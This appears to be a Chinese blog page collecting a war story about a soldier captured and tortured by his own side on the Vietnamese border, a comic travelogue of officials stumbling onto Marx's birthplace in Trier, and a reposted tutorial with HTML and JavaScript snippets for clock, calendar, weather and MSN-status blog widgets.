和连部失去联系快一天了,没有增援也没有给养,我明白今天晚上我将独自在十八猫耳洞里过夜,将独自面对越南人不知疲倦地“掏洞”以及为今天死难者的复仇。我将那些罐头盒子收集起来,扔在掏洞者必须经过的两条小路上,这是我构建的第一道防线,在漆黑的晚上,越南人要偷袭我的哨位就肯定会碰响罐头盒,只要罐头盒响了,我就将赢得至少一、两分钟的时间,战场里一、两分钟可以改变很多东西,如果班长他们早一、两分钟察觉越南人的偷袭,结果就一定不是如此,这一点,我深信不疑。
可以用得上的武器还不少,至少,我找到了两箱手榴弹,一枝还可以用的冲锋枪,以及几百发子弹。我把一颗手榴弹紧紧地绑在了自己的胸前,在前线那叫“光荣弹”,也许东方人特别痛恨俘虏和被人俘虏,不管是我们还是越南人都无一例外地给自己绑上炸弹,以备在特殊的时候将它引爆,炸死自己也期待和敌人同归于尽。
做完这些事情我平静下来,把冲锋枪高高地举起,靠着石头眯上了眼睛,我明白我需要体力,我也预感到了那天的夜将是个不平静的夜晚…… 六、孤身独战
我居然睡着了,梦是必不可少的。眼睛透过瞄准镜的眩昏还在,视线里的东西模糊而缥缈,枪响时候地震动却是清晰而刻骨铭心的,枪托震荡在胸前的疼痛都那么真实。梦境里好像有两个我,一个我匍匐在阴暗的洞子里屠杀,一个我轻飘飘地悬浮在空中看着自己所做的一切。还有一个声音不断的提醒着我:“快醒来!快醒来!越南人来掏洞了!”
睡梦中是那样的舒服,我极力地抗拒着那个不断唤醒我的声音,让自己继续睡去,又极力地告诉自己??快点醒来!越南人马上到了!
夜间,罐头盒与岩石的碰撞尖锐而揪心,我触电般地弹醒!
枪的动作是没有经过大脑的,没有完全清醒的时候,子弹已经朝发出声响的方向雨点般地射去。不可能看见敌人,也无法确定方向,只记得那天枪口喷出的火焰异常耀眼。
一匣子子弹在我漫无目的的射击中很快完成了使命,我紧张得连子弹射完了还不断地扣动班机,是撞针空击让我冷静下来,我爬下身来,颤动的手怎么也插不上新的弹夹。
敌人没有还击。一枪也没有!
夜又沉寂了,只有我沉重的呼吸和夜的精灵们鸣唱伴奏着。我的手指没有敢离开扳机,竖着耳朵聆听外面的动静。远处又碰响了罐头盒、还有物体在草丛中渐渐远去的声音。
我松了口气,敌人走了!我没有再睡去,连眼睛也不敢再合上。那天晚上,我一共遭到三次偷袭,都这样在我盲地扫射中不了了之,其中有一次,敌人还击了,打得弹壳横飞、岩石火星乱溅。
我安然无恙,想必敌人也安然无恙。
时间怎么过得这么慢?半截泡在水中的我期盼着时间一点一点地过去。启明星、黎明前的黑暗、微明、天际的朝霞。新的一天就要开始了!
晨雾起来的时候,山谷没有被 霞染红,把头伸出洞外,风是凉的。裆部奇痒难熬,可不敢伸出手去挠,班长在的时候半开玩笑地警告过我??小心把男人的“蛋”抠掉了。
山那边云一般的晨雾正朝这里飘来,象圣洁的天使洗 友 腥的战斗。
我在入洞的那条所谓的岩石小路上看到一条血迹,那条血迹由两点发出,沿着小路的走向流淌,因为时间的关系,那血已经发黑发紫。不是一个人的血,是昨天偷袭者留下的,我想。
忽然我有想到了什么,放眼向前望去,那是我狙击第一个越南女人的地方??白茫茫的一片,什么也看不清楚。不知道越南人有没有乘着夜色把尸体偷回去。
又睡着了,黎明时分,没有人经历或者听说过受到袭击。
尚赶来的我又做了个梦:梦见连长拍着我的肩膀夸我是个孤胆英雄;梦见已经开始发福的团长亲自给我戴上解放勋章;我还梦见了和班长他们一起抽红塔山香烟喝茅台酒、侃大山、吹大牛…… 七、被虏、受虐
我感到突然一凉,然后呛着了。喝下去的不是醇香茅台酒,我抬不起头,一只或者几只强有力的手摁住了我的头、钳住了我的手。我大口大口的呛进泡着尸体、蟒蛇和大便的污水。
越南人在最不可能的时候偷袭了我!我挣扎着把手往胸口上挪,我能期盼的是拉响胸前的“光荣弹”炸死自己也炸死敌人。对方的手强壮有力,我听到了脚在水中和动的声音,然后我的头部遭沉重的击打,一定是越南人用枪托给了我重重一下。我立刻软了下来,残存的意识没有立即消失,我感觉到有人把我往肩上一扛,模糊间知道那人的肩膀顶着我的腹部,随着他跑动一上一下,说不出的难受。我还看到了他的两条小腿急促的往前迈着,草和岩石不断地往后走。他摔倒了,我飞了出去,然后我就什么也不知道了……
醒来的时候,躺在一个角落里,房间很大,正中吊了一个巨大的灯泡在摇晃着。墙壁被石灰水刷白,墙根处因渗水而泛着肮脏的黄颜色。我的视线一时还不是很清晰,头象要裂了一样的疼,我看到有三个晃动的人影朝我走来??越南人要审我了。
他们把我提到凳子上,叽里呱啦的朝我吼了几句话,我一句也听不懂,茫然地看着他们。心里很懊丧??我为什么就要睡着呢?很快,我就做出了决定,既然自己做了俘虏就一定不可以再当叛徒,无论碰到什么样的情况绝不向敌人屈服!我咬着牙,想起了很多的英雄人物,象江姐,我以为我一定可以做得象个英雄。
我正盘算着,没有也不知道怎么回答他们的问题。有个高个子向我走来,抬手就是一耳光,他的手掌很大很厚实,我的左耳朵霎时响成一片,鼻子流血了、眼睛怎么也睁不开。大概过了好几秒钟我才感觉到剧烈的疼
痛,眼泪、鼻涕不争气的往外流。我急促的喘着气,还在极力地想让自己看上去坚强一点。
他们又问话了,还是叽里呱啦的那几句。我朝地上吐了口带血的吐沫,眼睛已经肿成一条缝隙,抬眼看着问我话的那个人。那个人黝黑硕大,赤裸着上身,胸口有浓密的胸毛,他似乎很享受折磨人的事情,朝旁边的人使了个眼神。另外的两个人左右把我架了起来,大个子一步一步的朝我走过来,我看到他的手里多了根皮带,那还是我们支援越南人的武装带。他两手一下一下的扯着皮带的两端,发出清脆尖锐的声音。一寸半宽的武装带抽在身上,不仅仅是表面的疼,内脏也跟着震动着,每一下抽
下去就带起一块皮肉,最开始的时候我还可以数着他抽了我多少下,到后来我再也忍不住了:撕心裂肺的惨叫了起来。惨叫绝对能让人减少痛苦,他每抽一下,我就惨叫一声,感觉没有前面咬牙坚持时候的那么疼痛。
拷打终于停止了,又有人开口问我。虽然还是没有听懂,可不敢再做出激怒对方的表情或者动作,依旧低头不语。那大个子的表情越来越阴沉,让人不敢看他,他居然点上了一枝香烟,那狗娘养的东西居然抽的是我们的红塔山牌香烟。他一步一步朝我走过来,我想:要接受香烟头的考验了。他居然把烟头扔掉了,用左手卡住我的脖子,把我从坐位上提起来,然后就一拳一拳的击打在我的腹部、软肋,每一拳都很重,每一拳都把我打得至少有一条腿离开地面。内脏在翻腾,来不及难受另外的一拳已经到了,我听到了自己肋骨折裂的声音,错位的肋骨插在内脏器官上,那种剧痛足以令人窒息、痉挛。一股腥味从喉咙里涌上来,我开始大口大口的吐血。最让难堪的是尿液顺着我的大腿流了下来,我失禁了。最后的时刻里我看到另外的两个人架住了大个子的双手。
我颓然倒地,人事不省。
我又有意识了,真不愿意自己醒过来。我剧烈的抽搐,脑海里画面闪动很快,那个越南女人一次有一次的在我的枪声中倒下;大个子的拳头一下又一下的落在我的腹部;夜战的枪火灿烂、在岩石上贱起蹦飞的火花……
我猛的睁开了眼睛!
这次多了几个人,他们站在我的周围,不怀好意的狞笑。还是上次问话的那个人向我说了几句什么,我不懂,一脸的茫然。我的下体传来了剧痛,那帮狗娘养的东西居然用细绳连根绑住了我的下体,不断地拖拉,为了减轻痛苦,我象狗一样的跟着他们拖拉的方向行走。他们哄堂大笑,我在笑声中痛得喘不过气来。我想用手抓住那根给我剧痛和羞辱的绳子,可是没有用,他们跑得更快了。这样的游戏不知道做了多久,他们终于“怜
悯”地放下了绳子,象看动物一样的围着我,不时还有人用脚踢了踢我。我挣扎着坐起来察看我的“命根子”,那跟绳子深深的嵌如本已经溃烂的肌体中,当我颤抖着解开那根该死的绳子的时候,睾丸居然从破损的阴囊里露出了一部分!我哭了,我完全地崩溃,我哭得完全象一个无助的小孩。四周没有人再笑或者话语,所有人静悄悄地看着我。唯一跟我说话的那个人居然也语气轻柔,不知道是安慰还是询问。
我不怕死,真的!那个时候,如果有人给我一枪,我一定是个光荣勇敢的烈士,我连眉头也不会皱一下,相反觉得那是多么的享受。可我真的再也受不了那样的折磨,我豁出去了!只要能够结束这样的折磨,哪怕是只要能让我早点死!我说!我什么都说!
我站不起来,只能用双手撑着地,用尽了全身的力气对旁边的人大声吼了一句:“狗娘养的东西,XXXX你们姥姥!就没有人会说中国话吗?” 八、我活在天堂里
听不到枪声、闻不到硝烟,那是什么地方?不再枪杀活生生的人,不再瞪圆着双眼防备从天而落的炮弹与爆破筒,那是什么地方?不再泡在污水里,不再与死尸为伴,那是什么地方?没有毒蛇、蚊虫、闷热湿气,那是什么地方?没有人用皮带拷打,没有人用拳头猛击肋骨,还没有人用绳子绑住溃烂的生殖器牵着四处游走,那有是什么地方?
躺在中国人民解放军某前线医院接受着最好的治疗也没能立刻恢复我的元气。洁白的床单、卫生的酒精气息,还有一个美丽而忙碌的护士小姐。
对我的折磨,因为我最后关键的那一句怒吼而结束。
连长帮我把故事一点一点的接了起来。十八号猫耳洞被掏后与上级失去一切联系,连部以为驻守官兵全部遇难,作战参谋因为其位置重要,把它列为必须尽快收复阵地,而对我的坚守一无所知。连长狠狠的拍了我一巴掌:“你小子不赖!那天晚上你打退了两拨越南人和团部特务连的进攻!”我哭笑不得,闹了半天:越南人算计我、自己人也没有对我闲着。连长说我输得不冤,那天早上,特务连三个最好的战士费了九牛二虎之力才抓到我。
“你是说我挨自己人打也不冤枉对吧?!”我知道我不该对连长发火:“要不要看看我的‘老二’!”连长四处看看,没有发现其他人,塞给我一包红塔山,走了。他没有回答我的问题。
“他们会整死我的!他们是要把人往死里整啊!呜??呜??”我,作为一个男人,在很短的时间里,一次又一次象小孩一样地哭泣,冲着离去的连长大声吼叫。完全忘记了自己当时已经准备好了做叛徒。我怎么也想不通,就算我真是越南人,我们的人也不可以那样对待我呀!
尽管不愿意,美丽的护士小姐还是每天给我换药、擦身体。他给我的下体换药时脸都没有红一下,这比我在那次很多的大男人戏我弄更加难堪,因为我的脸红了。护士小姐出门地时候对我笑了,笑得有点坏,或者说含有其它的色彩。等我能下床的时候,护士小姐搀扶着我在医院林阴道上散步,三三两两伤兵从我们的身旁走过。蒙眼睛的、缺胳膊少腿的,拄着拐杖、吊着纱布蹒跚犹豫地晃过我们的视线。还有人不可以接受伤残的现实,歇斯底里地发着脾气、折磨着自己以及关心他的人。
我转过头去对护士小姐笑了,“我活在天堂里!”我大声的说。 她愕然地望着我超过三秒钟时间才发问:“你是指??相对他们而言吗?”她指着满世界残缺不全的伤兵。“不!他们也在天堂里!”我说:“只要没有猫耳洞,只要没有战争,那就是天堂!!”
现在看来,我知道,那时候我说得有多么的荒唐,可对于战后余生的我来说,没有其它的表达更能形容我的心情。 九、收获战争
出院那天,护士和我之间已经变得依依不舍,她默默为我收拾行李。医院门口有个大个子等着我。
我认识他!
一辈子也不会忘记那个一次又一次折磨我长着浓密胸毛的“战友”。我向他走过去,心里已经不再有恨。“我认识你!”我等待着他的道歉。
他的拳头又抡了过来,我一点防备也没有。他的拳头仍然和以前一样重,一样的迅速。
“XXXX你妈!你 丫连人都没有看清楚怎么就乱打枪?!”
他一拳又一拳地砸在我的头上、腹部,和上次没有分别,我和上次一样完全没有还手之力。
“你欠我两条命!你欠着我两条命,你知道吗?”大个子的嘴里一直唠叨着这一句,每说一句就加上一分力气,往死里揍我。
医院的门口他没能把我打死,很快有很多人上来把我们拉开,我的眼睛也红了,怎么也想不通,我在哪里得罪了他的朋友,我疯了似的希望找到一枝枪,我要把他打成筛子。
后来我知道,那天夜里他和他的战友姚新名奉命上来掏洞子,清晨我看到的两个血源之一就是姚新名的。当时,姚新名就是最早碰响罐头盒的那个人,他被我盲目的扫射击中,救回团部就已经不行了,和班长一样,一句话也没有留下。姚新名和大个子是最好的朋友,曾经两次冒着生命危险救了大个子的命,有一次甚至还为大个子腹部中枪。所以才有大个子不顾一切的要在黎明时分将我生擒。大个子最初的那个耳光使我的左耳再也听不到任何的东西,我的军旅生涯就这么结束了。离开部队时,我带走了属于我的那点少得可怜的抚恤金。
二级解放勋章我放在班长和战友们的墓碑前,连着用我的抚恤金买的红塔山烟和茅台酒??那是他们应该得到的。我只是个准备好了做叛徒、杀死了自己战友的小丑。祭奠战友们的把天,阳光明媚,漫山遍野的墓碑金收眼底,一点阴风也没有,不悲不戚,只有悲壮。就好像他们的死一样,一句怨言也没有。 我没有忘记去看看姚新名,那个被我的子弹夺去生命的战士。他永远笑着长眠在远离家乡的公墓里,在照片里,他是那样的英俊和自信。我再也没有见过大个子和连长。听说大个子牺牲在收复老山的战斗中,连尸骨也没有留下,连句话也没有来得及留下。连长则在战争的最后时刻里(也就是一九八九年)触雷,他失去了两条腿和一只手,那时他已经是营长。他将永远在医院或者疗养院苟延残喘的活着,我没有敢去见他。
又过了几年,边境重新开放了,那里的人们又象一个村子里的人一样朝发夕至,他们说一样的话,做一样的事情。 我带着我积攒的几万块钱回到了边境,做起了所谓的“跨国贸易”。
在越南,我受到象国内对外商投资者一样的待遇,他们的县长陪同我吃饭、向我推荐可能的项目。那里,流传着这样一个故事,一则关于“战地女神”的故事:一位温柔美丽的女护士为了满足垂死伤员最后想喝水的要求,不惜冒死去汲水,结果被敌人的狙击手枪杀在水池旁边,为了抢回她圣洁的尸体,一共有十六位英勇的战士永远地留在了那个该死的水边。
我没有向其他的任何人说起过;我其实就是最初那个枪杀护士的狙击手,不知道是因为懦弱还是其它的什么……
有必要交代一句的是:也许我真的和护士是有缘分的,料理我的那个护士最后成为了我的妻子。婚后,她的性情大变,以前的温柔荡然无存。我赚的每一分钱都必须上交给她,她不许我……,还不许我……,更加不许我……
如果这算是对我的惩罚的话,我还是要象当年一样对她说一句话??我活在天堂里!!!!!
|
|
中国人在欧洲找红灯区!(笑)
|
作者:不 详 我驾着九座中巴从五光十色的巴黎出发,往北而上,中午到达布鲁塞尔。在大广场、原子球、欧盟总部等主要景点走马看花般转了一下,又掉头往东南方向沿五号公路而下。接近卢森堡时,天色已晚。晚霞在身后起伏的丘陵上空展开,把前景染成一片金黄。 我在瑞士当导游兼司机已有多年,带团在全欧洲跑,对这一带相当熟了。说来难以相信,在欧洲当中文导游,几乎没有任何正规培训,哪怕是第一次上路、到从来没去过的城市,也是地图、旅行书一拿就领着一队人马出发了。不像国内还必须有个导游证什么的。 国内出来的大多是公务团。一般两周的行程中,半天或一天是真正的公务,其余则是纯粹的旅游。十来天的行程往往要走十来个国家,每天两三个城市,十多个景点。今天也是如此,计划是从巴黎出发,要把布鲁塞尔和卢森堡都看完。五百公里的行程,公路像是一条无头无尾的长蛇。 这次旅行团由西北一个省外经贸系统的一些单位组成,一行六人,来欧洲考察金属加工技术。公务活动在瑞士已经结束,然后是意大利、法国的长途跋涉,现在还剩下一半左右的路程。一种疲倦感开始扩散。加上住宿安排上有些矛盾,全团气氛比较消沉。为节约开支,旅行社照例将旅馆订在郊外,这对那些想多看看西方夜生活的人来说无疑是唱反调。其实,这些旅馆所处的小镇,大多宁静、优雅,那种深沉而又飘逸的气氛在国内很难找到。在我看来,欧洲真正的魅力不在那些炙手可热的大城市,而恰恰在游人踪迹稀少的乡村。本来从国内喧嚣城市出来的人,应当在这里找到他们的乐园,但是也许由于绷紧的神经没有因为异国情调而松弛下来,他们中的大多数人不受乡村风光的吸引,有的只是对留宿那里的抱怨。 不过抱怨归抱怨,这旅馆不是我订的,加上我在服务上总的来说还算满足他们的要求,所以一路上相互关系处得还不错,有什么事好商好量的。 “卢森堡”一名有双义:既是国名,又是城市名。进入卢森堡国土后,还得再走十来公里,才是它的首都卢森堡。今夜的旅馆也在卢森堡市郊区,要沿环城高速路绕过大半个市区。我们在机场前一个出口拐出,然后在峡谷之地上下穿梭一阵,到达一个村落。旅馆本身就叫“农村旅馆”,坐落在一片小树林中间,松木稀疏,灯光似烛火般闪烁,透着一股隐逸之气。 薛总(焦炭进出口公司)开腔了:“黄导啊,这是来插队落户了。”“对,洋插队。”我说。我知道没什么好多解释的。 大家一阵嬉笑,拥进旅馆。这是个三星级旅馆,全是当地土色土香装饰,干净而又温馨。前台小姐身着民族服装,与大多数欧洲妇女一样,显得很大方。卢森堡人与瑞士人一样,身处大国之间,环境影响,能讲多种语言,前台小姐讲的是法语。 在旅馆吃了顿西餐。饭后李主任(稀有金属公司办公室)提出去市中心看看。 尽管去市里来回得走四十来公里,我还是答应了。刘秘书(外经贸主任办公室)是这次旅行的具体组织者,知道大家的心思,便问我:“这卢森堡有没有红灯区?” 据我所知,卢森堡市内只有火车站附近有个把小酒吧,并无表演什么的。便回答说没有。薛总说:“那看什么啊?”我说:“看看夜景也行。”大家都不吭声。我心想,不去最好。马处长(外经贸进口处)对我说:“你再想想,附近还有什么类似的地方……,”又转向刘秘书:“小刘,你也可去打听打听,你会英语嘛。”刘秘书真的起身走向前台,与招待员聊起来。刘秘书会讲简单的英语,复杂的句子只能用单词按中文语序排起来,虽说不成句,倒也经常管用。只见他与前台小姐连说带比划讲了好一阵,看上去双方在理解上还是有些问题。突然前台小姐远远地向我招手,意思是让我过去一下。我走到他俩跟前,小姐问我:“这位先生要找什么‘red house’,我不明白,你能解释一下吗?”我马上反应过来:刘秘书的“red house”就是指红灯区。便笑着说:“法语就是quartie chaud(‘热区’,红灯区之谓)”小姐也笑了。她想了想,说:“我们卢森堡太小,这方面没什么。这样,你们有车,二十分钟可到德国一个城市,叫TRIER,那里有些名堂,如表演什么的……”我把话翻给刘秘书听,他马上两眼放光,向小姐道了谢,把我拉到一边,说:“黄导,你知道,他们都是头,要玩要看,得尽量满足他们,否则我回去交不了差……”我打断他:“好,好,别说了,走就是了。但那个城市我没去过,路不熟。”“没关系,没关系,大家一起找。”刘秘书说完便去通知大家,大家齐声叫好。没几分钟后,旅行车便马达轰响,在茫茫夜色中沿着山路,驰入高速,直奔东南而去。 山谷中穿行的高速比平地上的高速要复杂得多,稍不留神便会错过应该出的出口。标有TRIER地名的方向牌同时出现了几块,指向市内不同的小区。我没来过,不知哪个区是要找的地方,只能随便选个出口,进入普通公路。路上没有路灯,一片漆黑,只有路边的反光牌引路。“是荒山野岭啊,这方向对吗?”薛总发牢骚了。我专心找路,没有回答。心想,要是不耐烦,那就打道回府。刘秘书看出我的心情,“鼓励”说:“再找找,再找找。”转过一个山头,眼前突然一亮,不远处一片散落的灯光铺开去,无疑就是那个城市了。TRIER,TRIER。我琢磨着这城市的名字。这词似乎意味着什么,我试图回忆出一些与之有关的东西,但没有成功。 终于看到“TRIER CENTER”的牌子。红灯区一般设在市中心,朝那里走应该没错。公路沿着一条不大不小的河伸展,路面渐渐变得狭窄起来,市中心到了。我放慢车速,靠近一位路人,打开车窗,用法语打招呼。那人看着我,嘴唇嗫嚅着,一脸疑惑。我直接问quartie chaud在哪里。那人叽叽呱呱说了起来。我这才想起这儿已是德国境内,德语的天下。欧洲就是这样,往往一出了地界,便要立即改口才行。但我不会讲德语,只能听懂几个词。那人大约也差不多:懂一点法语,但不会讲,只能用德语回答。这跟在瑞士一样,有时一个法语区的人遇到一个德语区的人,双方都用自己的语言开口,谈话居然也能继续下去。我想进一步向那人把路打听仔细,但后面响起一片喇叭声,有几辆车被我堵住了。只能打住话头,继续前行,找了个路面较宽的十字路口把车停下。路上有几个行人,但离得都比较远。我不便离开车,怕有警察来干涉。正在犹疑间,善解人意的刘秘书自告奋勇前去问路。只见他穿过马路,接近一个步履蹒跚的老人,边打手势边讲起什么来。好大一会儿他才回来,大声说:“方向没错,前行第二个路口就是。”“那会是哪里啊?”我怀疑地问道,“你问的又是什么red house吧?”“对!”刘说:“一开始那老头弄不懂,但后来马上就明白了,问我是不是中国人,好像还问我是不是共产党(Communist Party ),然后就说前面不远。”薛总在旁哈哈大笑:“怎么?现在中国人找红灯区的十有八九是共产党(Communist Party )?都出了名了,这可不太像话。”“搞搞夜文化考察,有什么不像话?”王总(轻金属公司)说。大家都笑了。 车朝前开,到了第二条路口。这是一条老城的小街,照例是那样的谧静、整洁。没看见红灯区特有的、不停闪烁的霓虹灯。“哪有什么红颜色的东西啊?”薛总说。刘秘书指着拐角处第二幢楼房大声说道:“那倒是座红色楼房。”大家应声看去。这是座四层楼房,典型的巴洛克式建筑,每层楼的窗户在统一的风格下线条变化多样,透出欧洲老式市民阶级生活温馨的一面。底楼至二楼的墙面刷成粉红色。与周围楼房不同,里面灯火通明。难道真是什么带色场所?薛总说:“看看门上有什么标志没有。”有人随即叫道:“看那墙上的头像,挺眼熟的。”另一人应道:“那是马克思!”可不是吗?一个侧面褐色头像镶嵌在墙上,毫无疑问是马克思! 突然,一切似乎都在我脑子里变得清晰起来:TRIER,那就是特里尔,马克思的故乡;那座楼房就是马克思的故居了!怪不得那老人把红房子理解成这幢楼房:这是红色共产主义的发源地,怪不得他问刘秘书是不是共产党(Communist Party )…… 当我把这一切迫不及待地说出时,大家像是都愣住了。沉默,沉默。还是薛总先开口:“找红灯区,找到马克思故居来了。好!好!”我看大家脸上的肌肉都有些僵硬,想笑又都笑不出来。是啊,谁会在这不期而遇面前无动于衷呢? 王总说话了:“我看就别找什么红灯区了,今天咱们就看看这马克思故居。即来之,则看之。这是天意!”大家一致赞同。这天也正巧,平时下午六点关门的故居,今晚因团队预约,例外开放。我们购票,进馆,在这座有关马克思生活轨迹和共运史的博物馆里转了起来…… 三个楼面的陈列内容相当丰富,我的印象是,德国人至今对马克思还是那样的尊重,至少没有忘记。出门时,薛总在签名簿上题了一个五言对子:“追寻半世纪,今日拜真神。”全然忘了此行最初的目的。 |
文章收藏 乱闪 发表于 2005/2/18 22:07:21 |
| |
在blog中显示天气预报、日历、时钟、MSN、QQ在线状态(转载自CSDN)
|
<!-- 时钟clock_035.swf 的035为时钟样式,可自己选择 --> <EMBED SRC=http://www.butabon.com/Clock/clock_035.swf WIDTH=150 HEIGHT=150 wmode=transparent quality=high loop=true menu=false>
<!-- Blog日历表开始 --> <script language="javascript"> var diarydays="<2004-08-05><2004-08-09><2004-08-12><2004-08-17><2004-08-19><2004-07-14><2004-07-13><2004-07-08><2004-07-05><2004-07-04><2004-07-03><2004-06-27><2004-06-26><2004-06-25>"; </script> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <style> .calendarBigBorder { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; text-decoration: none; width: 170; background-color: #FFFFFF; font-size: 9pt;border:1px dotted #999; } .calendarTd { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; font-size: 9pt; color: #000000; background-color: #eeeeee; height: 18px; width: 11%; text-align: center;} .calendarMInput { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; font-size: 9pt; text-decoration: none; background-color: #FFFFFF; height: 15px; border: 1px solid #666666; width: 19px; color: #0099FF;} .calendarYInput { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; font-size: 9pt; color: #0099FF; text-decoration: none; background-color: #FFFFFF; height: 15px; width: 34px; border: 1px solid #666666;} .calendarMonthTitle { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; font-size: 9pt; font-weight: normal; height: 24px; text-align: center; color: #333333; text-decoration: none; background-color: #eeeeee; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-bottom-style: none; border-top-color: #999999; border-right-color: #999999; border-bottom-color: #999999; border-left-color: #999999;} .calendarNow { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; font-size: 9pt; font-weight: bold; color: #000000; background-color: #C0C9D3; height: 18px; text-align: center;} .calendarDaySat { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; font-size: 9pt; color: #333333; text-decoration: none; background-color: #eeeeee; text-align: center; height: 18px; width: 12%;} .calendarDaySun { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; font-size: 9pt; color: #333333; text-decoration: none; background-color: #eeeeee; text-align: center; height: 18px; width: 12%;} .calendarLink { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; font-size: 9pt; font-weight: normal; color: #333333; text-decoration: none; background-color: #E7E7F6; text-align: center; height: 18px;} .categoryTxt { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; font-size: 9pt; line-height: 23px; color: #333333; text-decoration: none;} .categoryTable { border-right-width: 1px; border-bottom-width: 1px; border-right-style: solid; border-bottom-style: solid; border-left-style: none; border-right-color: #000000; border-bottom-color: #000000; border-top-width: 1px; border-top-style: solid; border-top-color: #71b99c;} </style> <SCRIPT LANGUAGE="JavaScript"> var months = new Array("一", "二", "三","四", "五", "六", "七", "八", "九","十", "十一", "十二"); var daysInMonth = new Array(31, 28, 31, 30, 31, 30, 31, 31,30, 31, 30, 31); var days = new Array("日","一", "二", "三","四", "五", "六"); var classTemp; var calendarHover="calendarHover"; var today=new getToday(); var year=today.year; var month=today.month; var newCal; //得到某月天数 function getDays(month, year) { if (1 == month) return ((0 == year % 4) && (0 != (year % 100))) ||(0 == year % 400) ? 29 : 28; else return daysInMonth[month]; } //得到当天时间信息 function getToday() { this.now = new Date(); this.year = this.now.getFullYear(); this.month = this.now.getMonth(); this.day = this.now.getDate(); } //生成日历 function Calendar() { newCal = new Date(year,month,1); //当前月的第一天 today = new getToday(); var day = -1; //用来判断日历中是否为当天 var startDay = newCal.getDay(); //当月开始时间 var endDay=getDays(newCal.getMonth(), newCal.getFullYear());//当月结束时间 var daily = 0; //用来生成日历中的天数值 if ((today.year == newCal.getFullYear()) &&(today.month == newCal.getMonth())) day = today.day; var caltable = document.all.caltable.tBodies.calendar; //得到日历表格的集合 var intDaysInMonth =getDays(newCal.getMonth(), newCal.getFullYear()); //得到当月天数 //生成日历 for (var intWeek = 0; intWeek < caltable.rows.length;intWeek++) for (var intDay = 0;intDay < caltable.rows[intWeek].cells.length;intDay++) { var cell = caltable.rows[intWeek].cells[intDay]; //得到单元袼 //生成字符串用于判断当天是否有日志 var montemp=(newCal.getMonth()+1)<10?("0"+(newCal.getMonth()+1)):(newCal.getMonth()+1); if ((intDay == startDay) && (0 == daily)){ daily = 1;} var daytemp=daily<10?("0"+daily):(daily); var d="<"+newCal.getFullYear()+"-"+montemp+"-"+daytemp+">"; //选择样式 if(day==daily) cell.className="calendarNow"; else if(diarydays.indexOf(d)!=-1) cell.className="calendarLink"; else if(intDay==6) cell.className = "calendarDaySat"; else if (intDay==0) cell.className ="calendarDaySun"; else cell.className="calendarTd"; //生成值 if ((daily > 0) && (daily <= intDaysInMonth)) { cell.innerText = daily; daily++; } else cell.innerText = ""; } document.all.year.value=year; document.all.month.value=month+1; }
function subMonth() { if ((month-1)<0) { month=11; year=year-1; } else { month=month-1; } Calendar(); } function addMonth() { if((month+1)>11) { month=0; year=year+1; } else { month=month+1; } Calendar(); } //得到响应事件 function getDiary() { var mon=(newCal.getMonth()+1)<10?("0"+(newCal.getMonth()+1)):(newCal.getMonth()+1); var day=event.srcElement.innerText<10?("0"+event.srcElement.innerText):(event.srcElement.innerText); var d="<"+newCal.getFullYear()+"-"+mon+"-"+day+">"; if ("TD" == event.srcElement.tagName) if (("" != event.srcElement.innerText)&&(diarydays.indexOf(d)!=-1)) { diary.location="/foxmail/archive/"+newCal.getFullYear()+"/"+mon+"/"+day+".aspx"; window.location.href = diary.location; } }
function setDate() { if (document.all.month.value<1||document.all.month.value>12) { alert("月的有效范围在1-12之间!"); return; } year=Math.ceil(document.all.year.value); month=Math.ceil(document.all.month.value-1); Calendar(); } </SCRIPT> <table border="0" cellpadding="0" cellspacing="1" class="calendarBigBorder" id="caltable" width="200"> <thead> <tr align="center" valign="middle"> <td colspan="7" class="calendarMonthTitle"> <input name="year" type="text" class="calendarYInput" size="3" maxlength="4" onkeydown="if (event.keyCode==13){setDate()}" onkeyup="this.value=this.value.replace(/[^0-9]/g,'')" onpaste="this.value=this.value.replace(/[^0-9]/g,'')">年 <input name="month" type="text" class="calendarMInput" size="1" maxlength="2" onkeydown="if (event.keyCode==13){setDate()}" onkeyup="this.value=this.value.replace(/[^0-9]/g,'')" onpaste="this.value=this.value.replace(/[^0-9]/g,'')">月 [<a onClick="addMonth()" href="javascript:;">下月</a>] [<a onClick="subMonth()" href="javascript:;">上月</a>]</td> </tr> <tr align="center" valign="middle"> <SCRIPT LANGUAGE="JavaScript"> document.write("<TD class=calendarDaySun id=diary>" + days[0] + "</TD>"); for (var intLoop = 1; intLoop < days.length-1; intLoop++) document.write("<TD class=calendarTd id=diary>" + days[intLoop] + "</TD>"); document.write("<TD class=calendarDaySat id=diary>" + days[intLoop] + "</TD>"); </SCRIPT> </TR> </thead> <TBODY border=1 cellspacing="0" cellpadding="0" ID="calendar" ALIGN=CENTER ONCLICK="getDiary()" onmouseup=document.selection.empty() oncontextmenu="return false" onselectstart="return false" ondragstart="return false" onbeforecopy="return false" oncopy=document.selection.empty() onselect=document.selection.empty()> <SCRIPT LANGUAGE="JavaScript"> for (var intWeeks = 0; intWeeks < 6; intWeeks++) { document.write("<TR style='cursor:hand'>"); for (var intDays = 0; intDays < days.length;intDays++) document.write("<TD class=calendarTd onMouseover='{classTemp=this.className;this.className=calendarHover}' onMouseOut='this.className=classTemp'></TD>"); document.write("</TR>"); } </SCRIPT> </tbody> </table> <script LANGUAGE="JavaScript"> Calendar(); </script> <!-- Blog日历表结束 -->
<!-- 天气预报 注意这里涉及到编码问题,%B1%B1%BE%A9为城市代码,可用百度查一下,比如输入北京,地址栏中就会出现%B1%B1%BE%字样的内容--> <center><iframe width=157 height=240 frameborder=0 scrolling=NO src='http://appnews.qq.com/cgi-bin/news_qq_search?city=%B1%B1%BE%A9'></iframe></center>
<!-- 显示msn在线状态,注意:必须在msn中设置允许所有人查看你的状态才有效,否则msn图标永远发灰 --> <A HREF="http://snind.gotdns.com:8080/message/msn/你的msn用户名"> <IMG SRC="http://snind.gotdns.com:8080/msn/你的msn用户名" align="absmiddle" border="0" ALT="MSN Online Status Indicator" onerror="this.onerror=null;this.src='http://snind.gotdns.com:8080/image/msnunknown.gif';">
